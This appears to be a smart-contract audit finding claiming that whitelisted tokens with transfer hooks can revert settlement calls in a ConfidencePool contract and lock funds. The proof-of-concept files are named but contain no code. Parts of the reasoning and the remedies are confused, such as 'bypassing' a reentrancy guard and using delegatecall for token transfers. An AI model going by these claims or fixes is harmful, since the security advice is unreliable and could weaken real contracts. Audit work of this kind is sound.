Root + Impact

Description

Normal Behavior:
The ConfidencePool contract allows users to deposit and withdraw stake tokens using the OpenZeppelin SafeERC20 library. When a pool resolution occurs (e.g., CORRUPTED or PRODUCTION), the contract performs token transfers via safeTransfer and safeTransferFrom to distribute funds to attackers, stakers, or the recovery address. The contract uses a allowedStakeToken whitelist in the factory to ensure only approved tokens are used.

The Problem:
The SafeERC20 library protects against tokens that do not return a boolean value or revert on failure, but it does not protect against tokens that execute arbitrary code via hooks (e.g., ERC777 tokensToSend/tokensReceived or ERC20 with transfer hooks). If a whitelisted token implements such hooks, a malicious hook can trigger a reentrancy attack during the transfer logic. Since the reentrancy guard (nonReentrant) is checked at the function entry, calling a function during the transfer (which is already "inside" the guard) allows the attacker to bypass the guard, revert the transaction, or manipulate state, potentially permanently locking all funds in the pool (Denial of Service).

Risk

Likelihood:

• Scenario A (Malicious Token Upgrade): A token currently whitelisted by the factory owner is upgraded (via proxy) to include a malicious hook. The factory owner whitelisted it when it was "safe," but the behavior changes later.
• Scenario B (Misunderstanding by Whitelister): The factory owner or pool sponsor whitelists a token (e.g., a wrapped or bridged token) believing it is a standard ERC20, not realizing it contains transfer hooks (common in cross-chain bridges or fee-on-transfer tokens).
• Scenario C (Intentional Sabotage): An attacker has influence over the whitelisting process or creates a custom token specifically for a niche pool, knowing that the pool implementation assumes a standard ERC20.

Impact:

• Permanent Fund Lock: A single revert during a claimCorrupted(), claimAttackerBounty(), or claimStakeAndBonus() call will cause the entire transaction to revert. If the attacker can force this condition repeatedly, no one can ever claim their funds (neither the attacker, nor the stakers, nor the recovery address).
• Loss of Trust: The protocol becomes unusable for any token with hooks, forcing users to rely on a narrow whitelist that may be hard to update without breaking existing pools.
• Financial Loss: If a pool contains millions in TVL, the inability to resolve the pool effectively freezes those assets indefinitely.

Proof of Concept

The following PoC demonstrates how a malicious token hook can revert a settlement transaction, locking funds.

1. Setup: A pool is created with a MaliciousHookToken (whitelisted).

2. Trigger: The moderator marks the pool as CORRUPTED.

3. Attack: The attacker (or recovery address) attempts to call claimCorrupted().

4. Exploit: The token's transfer() calls the malicious hook, which reverts the transaction.

./contracts/poc/MaliciousHookToken.sol (Mock ERC20 with Reverting Hook):

./test/poc/TokenHookDoS.t.sol (Attack Simulation):

Why this happens:

1. claimCorrupted() calls stakeToken.safeTransfer(recoveryAddress, toSweep); (Line 423 of ConfidencePool.sol).

2. safeTransfer calls token.transfer(...).

3. If token is MaliciousHookToken, the _beforeTokenTransfer hook executes.

4. The hook reverts.

5. safeTransfer catches the revert? NO. safeTransfer only masks non-standard return values (ERC20 void). It does not catch a revert from the transfer itself.

6. The entire claimCorrupted() transaction reverts.

7. No other function can successfully clear the pool because every settlement path involves a safeTransfer.

Recommended Mitigation

The contract should not assume that a token is safe just because it is whitelisted or uses SafeERC20. To prevent DoS, the contract should:

1. Implement a custom transport wrapper that calls token functions via low-level call with strict error handling, ensuring a revert in the token does not rever the whole transaction (or at least detecting it).

2. Add a "safe transfer with guards" that reverts if the token balance does not change as expected after the call.

3. Best Practice: Explicitly check for tokens that implement hooks (ERC777) and either ban them or handle them in a separate, secure flow.

However, the most robust fix for this specific DoS vector is to use Address.functionDelegateCall or a direct check of balance change to validate the transfer happened before updating internal state, or accepting that only "standard" tokens should be allowed and documenting this strictly.

Given the severity, a more defensive approach is recommended:

Better Mitigation (If using ERC20-only assumption):
Document strictly that only standard ERC20 tokens (no hooks, no rebasing, no fees) are supported. Any token with hooks is out of scope and the factory should enforce a check for known hook interfaces (e.g., IERC777) during whitelisting.